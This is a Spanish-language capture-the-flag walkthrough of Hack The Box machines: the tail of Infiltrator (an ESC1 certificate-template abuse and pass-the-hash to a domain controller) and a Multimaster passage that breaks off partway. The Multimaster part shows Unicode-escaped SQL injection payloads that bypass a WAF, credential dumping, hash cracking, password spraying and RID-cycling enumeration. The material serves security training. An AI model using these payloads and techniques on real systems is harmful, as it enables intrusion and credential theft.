    Private Key Flag                    : ExportableKey
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Validity Period                     : 5 years
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Permissions
      Object Control Permissions
        Owner                           : INFILTRATOR.HTB\Local System
        Full Control Principals         : INFILTRATOR.HTB\Authenticated Users
        Write Owner Principals          : INFILTRATOR.HTB\Authenticated Users
        Write Dacl Principals           : INFILTRATOR.HTB\Authenticated Users
        Write Property Principals       : INFILTRATOR.HTB\Authenticated Users
    [!] Vulnerabilities
      ESC1                              : 'INFILTRATOR.HTB\\Authenticated Users' can enroll, enrollee supplies subject and template allows client authentication
      ESC2                              : 'INFILTRATOR.HTB\\Authenticated Users' can enroll and template can be used for any purpose
      ESC3                              : 'INFILTRATOR.HTB\\Authenticated Users' can enroll and template has Certificate Request Agent EKU set
      ESC4                              : 'INFILTRATOR.HTB\\Authenticated Users' has dangerous permissions

Abusaremos de la template vulnerable para que el usuario Administrator utilice la template vulnerable y se nos proporcione el certificado administrator.pfx.

Con este certificado, procederemos a utilizarlo para obtener el hash NTLM del usuario Administrator o obtener el ticket TGT administrator.ccache.

โฏ certipy-ad req -u 'infiltrator_svc$'@infiltrator.htb -hashes 3ec423661d68dbda6c94ff25ff4d726b -ca infiltrator-DC01-CA -template Infiltrator_Template -upn administrator -dc-ip 10.10.11.31
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 11
[*] Got certificate with UPN 'administrator'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator.pfx'
โฏ certipy-ad auth -pfx administrator.pfx -username Administrator -domain infiltrator.htb
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Using principal: administrator@infiltrator.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@infiltrator.htb': aad3b435b51404eeaad3b435b51404ee:1356f502d2764368302ff0369b1121a1

Validaremos que el hash NTLM obtenido es correctamente vรกlido para el usuario Administrator.

โฏ nxc smb dc01.infiltrator.htb -u 'Administrator' -H '1356f502d2764368302ff0369b1121a1'
SMB         10.10.11.31     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:infiltrator.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.31     445    DC01             [+] infiltrator.htb\Administrator:1356f502d2764368302ff0369b1121a1 (Pwn3d!)

Procederemos a conectarnos al Domain Controller realizando Pass-The-Hash, logramos obtener la flag de root.txt.

โฏ evil-winrm -i dc01.infiltrator.htb -u 'Administrator' -H '1356f502d2764368302ff0369b1121a1'
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> type ../Desktop/root.txt
d97142dec41*********************

Tambiรฉn podemos hacer uso del ticket TGT administrator.ccache para autenticarnos y conectarnos al Domain Controller mediante wmiexec por ejemplo.

โฏ KRB5CCNAME=administrator.ccache wmiexec.py infiltrator.htb/Administrator@dc01.infiltrator.htb -k -no-pass
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
infiltrator\administrator

Multimaster

Multimaster es una mรกquina Windows de una dificultad increรญble que presenta una aplicaciรณn web que es vulnerable a la inyecciรณn SQL. Esta vulnerabilidad se aprovecha para obtener un punto de apoyo en el servidor.

El examen del sistema de archivos revela que estรก instalada una versiรณn vulnerable de VS Code y se encuentran procesos de VS Code ejecutรกndose en el servidor.Al explotar la funciรณn de depuraciรณn, se puede obtener un shell como el usuario cyork. Se encuentra una contraseรฑa en una DLL, que debido a la reutilizaciรณn de contraseรฑas, da como resultado un shell como sbauer.

Se descubre que este usuario tiene permisos GenericWrite sobre el usuario jorden. Abusar de este privilegio nos permite obtener acceso al servidor como este usuario. jorden es miembro del grupo Operadores de servidor, cuyos privilegios explotamos para obtener un shell de SISTEMA.

Reconnaissance

Realizaremos un reconocimiento con nmap para ver los puertos que estรกn expuestos en la mรกquina Multimaster. Este resultado lo almacenaremos en un archivo llamado allPorts.

โฏ nmap -p- --open -sS --min-rate 1000 -Pn -n 10.10.10.179 -oG allPorts
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-13 14:03 CET
Nmap scan report for 10.10.10.179
Host is up (0.057s latency).
Not shown: 65488 closed tcp ports (reset), 19 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE
53/tcp    open  domain
80/tcp    open  http
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
1433/tcp  open  ms-sql-s
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
3389/tcp  open  ms-wbt-server
5985/tcp  open  wsman
9389/tcp  open  adws
47001/tcp open  winrm
49664/tcp open  unknown
49665/tcp open  unknown
49666/tcp open  unknown
49668/tcp open  unknown
49671/tcp open  unknown
49674/tcp open  unknown
49675/tcp open  unknown
49678/tcp open  unknown
49688/tcp open  unknown
49694/tcp open  unknown
49703/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 18.84 seconds

A travรฉs de la herramienta de extractPorts, la utilizaremos para extraer los puertos del archivo que nos generรณ el primer escaneo a travรฉs de Nmap. Esta herramienta nos copiarรก en la clipboard los puertos encontrados.

โฏ extractPorts allPorts

[*] Extracting information...

	[*] IP Address: 10.10.10.179
	[*] Open ports: 53,80,88,135,139,389,445,464,593,636,1433,3268,3269,3389,5985,9389,47001,49664,49665,49666,49668,49671,49674,49675,49678,49688,49694,49703

[*] Ports copied to clipboard

Lanzaremos scripts de reconocimiento sobre los puertos encontrados y lo exportaremos en formato oN y oX para posteriormente trabajar con ellos. Verificamos a travรฉs del resultado obtenido de que la mรกquina se trata de un Domain Controller (DC) por los puertos y servicios que se encuentran expuestos.

โฏ nmap -sCV -p53,80,88,135,139,389,445,464,593,636,1433,3268,3269,3389,5985,9389,47001,49664,49665,49666,49667,49671,49674,49675,49678,49688,49694,49703 10.10.10.179 -A -oN targeted -oX targetedXML
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-13 13:55 CET
Nmap scan report for multimaster.megacorp.local (10.10.10.179)
Host is up (0.074s latency).

PORT      STATE  SERVICE       VERSION
53/tcp    open   domain        Simple DNS Plus
80/tcp    open   http          Microsoft IIS httpd 10.0
|_http-title: MegaCorp
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
88/tcp    open   kerberos-sec  Microsoft Windows Kerberos (server time: 2025-01-13 13:05:07Z)
135/tcp   open   msrpc         Microsoft Windows RPC
139/tcp   open   netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open   ldap          Microsoft Windows Active Directory LDAP (Domain: MEGACORP.LOCAL, Site: Default-First-Site-Name)
445/tcp   open   microsoft-ds  Windows Server 2016 Standard 14393 microsoft-ds (workgroup: MEGACORP)
464/tcp   open   kpasswd5?
593/tcp   open   ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open   tcpwrapped
1433/tcp  open   ms-sql-s      Microsoft SQL Server 2017 14.00.1000.00; RTM
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2025-01-13T12:58:07
|_Not valid after:  2055-01-13T12:58:07
| ms-sql-info: 
|   10.10.10.179:1433: 
|     Version: 
|       name: Microsoft SQL Server 2017 RTM
|       number: 14.00.1000.00
|       Product: Microsoft SQL Server 2017
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
| ms-sql-ntlm-info: 
|   10.10.10.179:1433: 
|     Target_Name: MEGACORP
|     NetBIOS_Domain_Name: MEGACORP
|     NetBIOS_Computer_Name: MULTIMASTER
|     DNS_Domain_Name: MEGACORP.LOCAL
|     DNS_Computer_Name: MULTIMASTER.MEGACORP.LOCAL
|     DNS_Tree_Name: MEGACORP.LOCAL
|_    Product_Version: 10.0.14393
|_ssl-date: 2025-01-13T13:06:15+00:00; +9m40s from scanner time.
3268/tcp  open   ldap          Microsoft Windows Active Directory LDAP (Domain: MEGACORP.LOCAL, Site: Default-First-Site-Name)
3269/tcp  open   tcpwrapped
3389/tcp  open   ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info: 
|   Target_Name: MEGACORP
|   NetBIOS_Domain_Name: MEGACORP
|   NetBIOS_Computer_Name: MULTIMASTER
|   DNS_Domain_Name: MEGACORP.LOCAL
|   DNS_Computer_Name: MULTIMASTER.MEGACORP.LOCAL
|   DNS_Tree_Name: MEGACORP.LOCAL
|   Product_Version: 10.0.14393
|_  System_Time: 2025-01-13T13:06:05+00:00
|_ssl-date: 2025-01-13T13:06:15+00:00; +9m40s from scanner time.
| ssl-cert: Subject: commonName=MULTIMASTER.MEGACORP.LOCAL
| Not valid before: 2025-01-12T12:57:31
|_Not valid after:  2025-07-14T12:57:31
5985/tcp  open   http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open   mc-nmf        .NET Message Framing
47001/tcp open   http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open   msrpc         Microsoft Windows RPC
49665/tcp open   msrpc         Microsoft Windows RPC
49666/tcp open   msrpc         Microsoft Windows RPC
49667/tcp closed unknown
49671/tcp open   msrpc         Microsoft Windows RPC
49674/tcp open   ncacn_http    Microsoft Windows RPC over HTTP 1.0
49675/tcp open   msrpc         Microsoft Windows RPC
49678/tcp open   msrpc         Microsoft Windows RPC
49688/tcp open   msrpc         Microsoft Windows RPC
49694/tcp open   msrpc         Microsoft Windows RPC
49703/tcp open   msrpc         Microsoft Windows RPC
Device type: general purpose
Running: Microsoft Windows 2016
OS CPE: cpe:/o:microsoft:windows_server_2016
OS details: Microsoft Windows Server 2016
Network Distance: 2 hops
Service Info: Host: MULTIMASTER; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb-security-mode: 
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: required
| smb-os-discovery: 
|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
|   Computer name: MULTIMASTER
|   NetBIOS computer name: MULTIMASTER\x00
|   Domain name: MEGACORP.LOCAL
|   Forest name: MEGACORP.LOCAL
|   FQDN: MULTIMASTER.MEGACORP.LOCAL
|_  System time: 2025-01-13T05:06:05-08:00
| smb2-time: 
|   date: 2025-01-13T13:06:08
|_  start_date: 2025-01-13T12:57:40
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
|_clock-skew: mean: 1h18m14s, deviation: 3h01m25s, median: 9m39s

TRACEROUTE (using port 49667/tcp)
HOP RTT       ADDRESS
1   105.20 ms 10.10.16.1
2   31.87 ms  multimaster.megacorp.local (10.10.10.179)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 78.40 seconds

Procederemos a transformar el archivo generado targetedXML para transformar el XML en un archivo HTML para posteriormente montar un servidor web y visualizarlo.

โฏ xsltproc targetedXML > index.html

โฏ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Accederemos a http://localhost y verificaremos el resultado en un formato mรกs cรณmodo para su anรกlisis.

A travรฉs de la herramienta de netexec y ldapsearch procederemos a enumerar el equipo para localizar mรกs informaciรณn. Entre la informaciรณn obtenida, verificamos el hostname, versiรณn del SO y el nombre del dominio.

โฏ nxc smb 10.10.10.179
SMB         10.10.10.179    445    MULTIMASTER      [*] Windows Server 2016 Standard 14393 x64 (name:MULTIMASTER) (domain:MEGACORP.LOCAL) (signing:True) (SMBv1:True)

โฏ ldapsearch -x -H ldap://10.10.10.179 -s base | grep defaultNamingContext
defaultNamingContext: DC=MEGACORP,DC=LOCAL

Procederemos a aรฑadir en nuestro archivo /etc/hosts las entradas correspondientes para que a la hora de hacer referencia al dominio o el equipo nos responda correctamente a la direcciรณn IP del equipo.

โฏ cat /etc/hosts | grep multimaster
10.10.10.179 multimaster.megacorp.local megacorp.local

Web Enumeration

Procederemos a realizar una enumeraciรณn sobre el sitio web que hemos encontrado expuesto en el puerto 80. La pรกgina principal al principal dispone de varias secciones que deberemos explorar para verificar

Una de las primeras acciones a realizar, serรก verificar las tecnologรญas y frameworks que utiliza la aplicaciรณn web, esto lo podremos realizar a travรฉs del Add-on de Wappalyzer. Entre la informaciรณn recopilada, podemos verificar que hay un Windows Server como sistema operativo que levanta la aplicaciรณn web, utiliza un IIS (Internet Information Services).

Toda esta informaciรณn hay que contrastarla con otras herramientas para verificar que la informaciรณn sea vรกlida.

Otra de las herramientas para verificar las tecnologรญas que utiliza una aplicaciรณn web es la herramienta de whatweb.

โฏ whatweb http://10.10.10.179
http://10.10.10.179 [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Microsoft-IIS/10.0], IP[10.10.10.179], Microsoft-IIS[10.0], Script, Title[MegaCorp], X-Powered-By[ASP.NET], X-UA-Compatible[IE=edge]

Revisaremos la pรกgina que hemos encontrado http://10.10.10.179/#/login y en este caso al intentar iniciar sesiรณn con credenciales por defecto nos indica que el Login se encuentra en mantenimiento en estos momentos y no se puede utilizar. Intentamos realizar la tรญpica inyecciรณn SQL para verificar si es vulnerable el panel de Login, pero tambiรฉn recibimos el mismo mensaje de error.

Procederemos a revisar la pรกgina web de http://10.10.10.179/#/gallery y verificamos que al parecer no hay al parecer ningรบn tipo de informaciรณn, podrรญamos tambiรฉn intentar descargarnos las imรกgenes de esta galerรญa en busca de informaciรณn sensible en los metadatos, pero despuรฉs de revisarlos tampoco van por aquรญ los tiros...

Al revisar el sitio web de http://10.10.10.179/#/app revisamos que al parecer tiene un buscador el cual a medida del input que le introduzcas, el resultado que te muestra son correos electrรณnicos que posiblemente quedรกndonos con el nombre del usuario, sean usuarios vรกlidos del dominio.

Enviaremos la solicitud al BurpSuite para analizar como funciona la solicitud que se realiza y la respuesta que se recibe. Verificamos que la respuesta que nos muestra se encuentra en formato JSON.

Por lo tanto, tenemos una vรญa potencial para enumerar usuarios que parecen formar parte del dominio.

Enumerating users with Python script

Con la ayuda de ChatGPT hemos creado el siguiente script en Python que realizarรก solicitudes con un payload de la (A-Z) en busca de enumerar correos electrรณnicos que nos muestre la pรกgina web en la respuesta.

userenum.py
import requests
import json

# URL del endpoint
url = "http://10.10.10.179/api/getColleagues"

# Cabeceras de la solicitud
headers = {
    "Content-Type": "application/json;charset=utf-8",
    "Origin": "http://10.10.10.179",
    "Referer": "http://10.10.10.179/",
    "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0",
}

# Generar letras de la A a la Z
letters = [chr(i) for i in range(ord('A'), ord('Z') + 1)]

# Lista para almacenar correos electrรณnicos รบnicos
emails = set()

print("Iniciando enumeraciรณn de usuarios...")

for letter in letters:
    # Cuerpo de la solicitud con la letra actual
    data = {"name": letter}

    try:
        # Enviar la solicitud POST
        response = requests.post(url, headers=headers, json=data)

        # Verificar si la respuesta es vรกlida
        if response.status_code == 200:
            # Parsear la respuesta JSON
            users = response.json()
            
            # Extraer correos electrรณnicos
            for user in users:
                email = user.get("email")
                if email:
                    emails.add(email)  # Aรฑadir el correo a la lista
        else:
            print(f"Error en la solicitud con letra {letter}: {response.status_code}")
    except Exception as e:
        print(f"Error al procesar la letra {letter}: {e}")

# Mostrar los correos electrรณnicos extraรญdos
print("\nCorreos electrรณnicos encontrados:")
for email in sorted(emails):
    print(email)

Le daremos permisos de ejecuciรณn al script creado y procederemos a ejecutarlo, verificamos que ha logrado encontrar los siguientes correos electrรณnicos en la pรกgina web. Estos correos electrรณnicos deberemos de guardarlo en un archivo por ejemplousers.txt.

โฏ chmod +x userenum.py

โฏ python3 userenum.py
Iniciando enumeraciรณn de usuarios...

Correos electrรณnicos encontrados:
aldom@megacorp.htb
alyx@megacorp.htb
ckane@megacorp.htb
cyork@megacorp.htb
egre55@megacorp.htb
ilee@megacorp.htb
james@megacorp.htb
jorden@megacorp.htb
kpage@megacorp.htb
minato@megacorp.htb
nbourne@megacorp.htb
okent@megacorp.htb
rmartin@megacorp.htb
sbauer@megacorp.htb
shayna@megacorp.htb
zac@magacorp.htb
zpowers@megacorp.htb

Procederemos a trabajar con el archivo users.txt para solamente quedarnos con la parte del nombre de usuario que es lo que realmente nos interesa.

โฏ cat users.txt | awk '{print $1}' FS='@' | sponge users.txt

โฏ cat users.txt
aldom
alyx
ckane
cyork
egre55
ilee
james
jorden
kpage
minato
nbourne
okent
rmartin
sbauer
shayna
zac
zpowers

Dado que el DC dispone del puerto 88 (Kerberos) expuesto, podemos validar a travรฉs de la herramienta de kerbrute el listado de usuarios que disponemos actualmente para verificar cuรกles de ellos son vรกlidos a nivel de dominio.

En el resultado obtenido, verificamos que de los 17 usuarios que disponรญamos solamente 14 usuarios son vรกlidos a nivel de usuarios del dominio.

โฏ kerbrute userenum --dc 10.10.10.179 -d megacorp.local users.txt

    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        

Version: v1.0.3 (9dad6e1) - 01/13/25 - Ronnie Flathers @ropnop

2025/01/13 14:14:57 >  Using KDC(s):
2025/01/13 14:14:57 >  	10.10.10.179:88

2025/01/13 14:14:57 >  [+] VALID USERNAME:	cyork@megacorp.local
2025/01/13 14:14:57 >  [+] VALID USERNAME:	ckane@megacorp.local
2025/01/13 14:14:57 >  [+] VALID USERNAME:	aldom@megacorp.local
2025/01/13 14:14:57 >  [+] VALID USERNAME:	kpage@megacorp.local
2025/01/13 14:14:57 >  [+] VALID USERNAME:	alyx@megacorp.local
2025/01/13 14:14:57 >  [+] VALID USERNAME:	james@megacorp.local
2025/01/13 14:14:57 >  [+] VALID USERNAME:	jorden@megacorp.local
2025/01/13 14:14:57 >  [+] VALID USERNAME:	nbourne@megacorp.local
2025/01/13 14:14:57 >  [+] VALID USERNAME:	ilee@megacorp.local
2025/01/13 14:14:57 >  [+] VALID USERNAME:	okent@megacorp.local
2025/01/13 14:14:57 >  [+] VALID USERNAME:	zac@megacorp.local
2025/01/13 14:14:57 >  [+] VALID USERNAME:	rmartin@megacorp.local
2025/01/13 14:14:57 >  [+] VALID USERNAME:	sbauer@megacorp.local
2025/01/13 14:14:57 >  [+] VALID USERNAME:	zpowers@megacorp.local
2025/01/13 14:14:57 >  Done! Tested 17 usernames (14 valid) in 0.212 seconds

SQL Injection

En la solicitud enviada en el BurpSuite, probamos de aรฑadirle una ' a la query para verificar si es vulnerable a SQL Injection. Verificamos que en la respuesta por parte del servidor recibimos un mensaje de 403 - Forbidden: Access is denied.

Lo que podemos pensar es que detrรกs del servidor web se encuentra un WAF (Web Application Firewall) que posiblemente nos bloquee estos intentos de inyecciรณn SQL.

Bypassing WAFs with JSON Unicode Escape Sequences

Realizando una investigaciรณn por Internet, nos encontramos con el siguiente blog que nos explica como intentar realizar un Bypass a las SQLI sobre los resultados JSON a travรฉs de realizar un encode de la inyecciรณn en formato Unicode Escape.

LogoBypassing WAFs with JSON Unicode Escape Sequences - TrustFoundryTrustFoundry

En este caso, utilizaremos Cyberchef de manera local para lograr mayor privacidad y no utilizar la versiรณn web. Estableceremos que utilice el Escape Unicode Characters y le asignarรฉ que realice el encode sobre '. Verificamos que el resultado obtenido del encode es --> \u0027.

Al enviar la solicitud con la ' encodeada, verificamos que no nos muestra un mensaje de Access Denied, en este caso simplemente desaparece el resultado de la respuesta por parte del servidor, lo cual podrรญamos llegar a intentar realizar la explotaciรณn del SQLI a travรฉs de encodear las inyecciones SQL en formato Escape Unicode Characters.

El primer paso a realizar en una inyeccciรณn SQLI es determinar el nรบmero total de columnas que dispone la BBDD para posteriormente inyectar correctamente nuestros payloads.

Deberemos a partir de ahora, encodear toda nuestra inyecciรณn SQL en el formato anteriormente indicado para lograr realizar el Bypass del supuesto WAF que nos bloqueaba las inyecciones.

En este caso al intentar probar nuestra inyecciรณn para determinar si la BBDD dispone de 4 columnas, verificamos que el resultado que nos muestra es null, lo cual podemos verificar que el nรบmero de columnas no es correcto.

1' UNION ALL SELECT 1,2,3,4;-- -

En intentar realizar la siguiente inyecciรณn SQL, verificamos que la BBDD dispone de 5 columnas en total y en la respuesta por parte del servidor nos muestra los nรบmeros del 2 al 5, por lo tanto, podrรญamos llegar a inyectar nuestros payloads de SQLI en cualquiera de los campos mencionados.

1' UNION ALL SELECT 1,2,3,4,5;-- -

Una de las primeras inyecciones a realizar, serรก lograr a determinar la versiรณn exacta de la BBDD y el nombre de la base de datos que se estรก utilizando actualmente.

Por el resultado obtenido, verificamos que nos enfrentamos ante un Microsoft SQL Server (MSSQL) 2017 y la base de datos que estรก actualmente en uso se llamada Hub_DB.

1' UNION ALL SELECT 1,@@version,db_name(),4,5;-- -

A travรฉs de la siguiente inyecciรณn SQL, verificaremos el nombre de las bases de datos existentes en el servidor SQL. Verificamos que de las 5 BBDDs que hemos encontrado las cuatro primeras se tratan de BBDDs que vienen por defecto en MSSQL, en cambio, la BBDD nombrada Hub_DB no es una base de datos comรบn, deberรญamos investigar sobre esta misma.

1' UNION ALL SELECT 1,name,3,4,5 FROM master..sysdatabases;-- -

Revisaremos los nombres de las tablas de la base de datos Hub_DB, en este caso verificamos que nos muestra dos tablas. De las dos tablas mencionadas, la que nos llama mรกs la atenciรณn es la mencionada Logins.

1' UNION ALL SELECT 1,name,3,4,5 FROM Hub_DB..sysobjects WHERE xtype ='U';-- -

Procederemos a investigar mรกs sobre tabla Logins y verificaremos el nombre de las columnas que dispone esta table. En el resultado obtenido nos llama la atenciรณn las columnas existentes, parecen almacenar usuarios y contraseรฑas.

1' UNION ALL SELECT 1,name,3,4,5 FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'Logins');-- -

Al revisar las columnas username y password, verificamos que en la respuesta recibida por parte del servidor nos muestran usuarios y lo que parece ser contraseรฑas hasheadas que posteriormente podrรญamos intentar crackear.

1' UNION ALL SELECT 1,username,password,4,5 FROM Logins;-- -

Almacenaremos todo el resultado JSON obtenido para guardarlo en un archivo TXT. Trabajaremos con el archivo TXT para quedarnos con los nombres de usuarios y contraseรฑas y almacenarlos en dos archivos correspondientes.

โฏ catnp resultBBDD.txt | jq | grep 'name' | awk '{print $NF}' | tr -d '",' > usersBBDD.txt

โฏ catnp resultBBDD.txt | jq | grep 'position' | awk '{print $NF}' | tr -d ' ",' > passwordsBBDD.txt

Al revisar los hashes obtenidos, pensamos en primera instancia dada a la longitud del hash, parecรญa un tipo de hash SHA-384. Cuando ejecutamos hashcat con -m 10800 para SHA-384 con rockyou.txt, no se llegรณ a crackear nada.

Hay otros dos formatos en la pรกgina de hashes de ejemplo de Hashcat: SHA3-384 (-m 17500) y Keccak-384 (-m 17900). Cuando ejecutamos este รบltimo, obtuvimos los siguientes resultados:

โฏ hashcat -a 0 -m 17900 passwordsBBDD.txt /usr/share/wordlists/rockyou.txt
...[snip]...
9777768363a66709804f592aac4c84b755db6d4ec59960d4cee5951e86060e768d97be2d20d79dbccbe242c2244e5739:password1
68d1054460bf0d22cd5182288b8e82306cca95639ee8eb1470be1648149ae1f71201fbacc3edb639eed4e954ce5f0813:finance1
fb40643498f8318cb3fb4af397bbce903957dde8edde85051d59998aa2f244f7fc80dd2928e648465b8e7a1946a50cfa:banking1                                           
...[snip]...

Una vez obtenida esas 3 credenciales en texto plano, procederemos a realizar unPassword Spraying para validar si estas credenciales son vรกlidas para el listado de usuarios del dominio que disponemos. Verificamos que en este caso, no obtenemos ningunas credenciales vรกlidas.

โฏ nxc smb 10.10.10.179 -u users.txt -p passwords.txt --continue-on-success
SMB         10.10.10.179    445    MULTIMASTER      [*] Windows Server 2016 Standard 14393 x64 (name:MULTIMASTER) (domain:MEGACORP.LOCAL) (signing:True) (SMBv1:True)
SMB         10.10.10.179    445    MULTIMASTER      [-] MEGACORP.LOCAL\aldom:password1 STATUS_LOGON_FAILURE 
...[snip]...
SMB         10.10.10.179    445    MULTIMASTER      [-] MEGACORP.LOCAL\sbauer:banking1 STATUS_LOGON_FAILURE 
SMB         10.10.10.179    445    MULTIMASTER      [-] MEGACORP.LOCAL\shayna:banking1 STATUS_LOGON_FAILURE 
...[snip]...

Active Directory Users enumeration of MSSQL Injection (mssqli-duet)

Buscando mรกs informaciรณn sobre maneras de explotar un MSSQL, nos encontramos con el siguiente blog que nos indica como podemos intentar explotar este servicio para enumerar usuarios del Active Directory (AD) a travรฉs de inyecciones SQL para enumerar usuarios a travรฉs del Relative ID (RID).

LogoActive Directory Enumeration via MSSQL InjectionAn Utsusemi of Keramas

El primer paso a realizar para revisar si podemos explotar esta vulnerabilidad es buscar el nombre del domain (domain name). En el caso de que no conozcamos el nombre de dominio, a travรฉs de la siguiente inyecciรณn SQL podemos identificar el nombre del dominio. Tenemos que previamente haber determinado la cantidad de columnas, tipo de columnas y saber que es inyectable a SQLi.

Verificamos que al enviar la solicitud, nos proporciona que el domain name es MEGACORP.

1' UNION ALL SELECT 1,2,3,4,(select default_domain());-- -

El siguiente paso a realizar es averiguar el Security ID (SID) del dominio. Asรญ que una vez obtenido el nombre del dominio, el siguiente paso serรก inyectar la siguiente consulta utilizando una cuenta o un grupo integrado conocidos (en este ejemplo se utiliza la cuenta del usuario Administrator) para obtener el valir del SID.

En este caso el formato que nos devuelve en la respuesta, es el SID en formato hexadecimal que posteriormente podremos descodificar para obtener el valor en texto plano.

1' UNION ALL SELECT 1,2,3,4,(select sys.fn_varbintohexstr(SUSER_SID('MEGACORP\Administrator')));-- -

Hemos creado el siguiente script en Python que lo que realiza es convertir el SID que se encuentra en hexadecimal en el texto original.

https://pastebin.com/C5cfbv19pastebin.com
Convert SID Hex to SID
import struct
import sys

def hex_to_sid(sid_hex):
    # Convertir el SID hexadecimal a bytes
    sid_bytes = bytes.fromhex(sid_hex.replace("0x", ""))
    
    # Extraer la versiรณn del SID
    version = sid_bytes[0]
    
    # Extraer el identificador de autoridad
    identifier_authority = int.from_bytes(sid_bytes[2:8], 'big')
    
    # Contar las subautoridades
    subauthority_count = sid_bytes[1]
    
    # Extraer las subautoridades
    subauthorities = struct.unpack('<' + 'I' * subauthority_count, sid_bytes[8:])
    
    # Construir el SID en formato legible
    sid = f'S-{version}-{identifier_authority}' + ''.join(f'-{sub}' for sub in subauthorities)
    return sid

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("Uso: python3 convert.py <SID_HEX>")
        sys.exit(1)

    # Leer el argumento de la lรญnea de comandos
    sid_hex = sys.argv[1]
    
    # Convertir y mostrar el resultado
    try:
        sid = hex_to_sid(sid_hex)
        print(f"SID: {sid}")
    except Exception as e:
        print(f"Error: {e}")

Al ejecutar el script y pasarle el SID en formato hexadecimal, nos devolverรก el valor original del SID.

โฏ python3 convert.py 0x0105000000000005150000001c00d1bcd181f1492bdfc236f4010000
SID: S-1-5-21-3167813660-1240564177-918740779-500

Siguiendo el contenido del blog sobre la enumeraciรณn de usuarios a travรฉs de ataques de RID Cycling Attack a travรฉs de inyecciones en MSSQL, nos proporciona la siguiente herramienta para explotar y enumerar a los usuarios a travรฉs del RID.

LogoGitHub - Keramas/mssqli-duet: SQL injection script for MSSQL that extracts domain users from an Active Directory environment based on RID bruteforcingGitHub

Deberemos de almacenar en un archivo la solicitud POST que se envรญa desde BurpSuite que la necesitaremos para utilizar la herramienta.

โฏ cat request.txt; echo
POST /api/getColleagues HTTP/1.1
Host: 10.10.10.179
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/json;charset=utf-8
Content-Length: 12
Origin: http://10.10.10.179
Connection: keep-alive
Referer: http://10.10.10.179/
Sec-GPC: 1
Priority: u=0

{"name":"a"}

Procederemos a realizar la explotaciรณn con la herramienta de mssqli-duet.py, en ella deberemos de especificar el parรกmetro vulnerable, en nuestro caso name, estableceremos que la inyecciรณn sea a' la cual la codificaremos en unicode.

Utilizaremos el archivo request.txt que es el que contiene la solicitud POST que hemos guardado, especificaremos en este caso que haga el RID Cycling Attack del 1000 al 1200 y se realice las solicitudes cada 3 segundos para evitar ser detectados.

En el resultado obtenido verificamos que hemos logrado obtener a 4 usuarios mรกs que forman parte del dominio.

โฏ python3 /opt/mssqli-duet/python/mssqli-duet.py -p 'name' -i "a'" -e unicode -r request.txt -rid 1000-1200 -t 3
[+] Beginning enumeration - Start time:  Mon, 13 Jan 2025 16:40:22
[+] Collected request data:
Target URL = http://10.10.10.179/api/getColleagues
Method = POST
Content-Type = application/json;charset=utf-8
Cookies =  None
Request data = {"name":"a"}


[+] Determining the number of columns in the table...
	[!] Number of columns is  5
[+] Determining column type...
	[-] Column type not null
	[!] Column type is 1
[+] Discovering domain name...
	[+] Domain = MEGACORP
[+] Discovering domain SID...
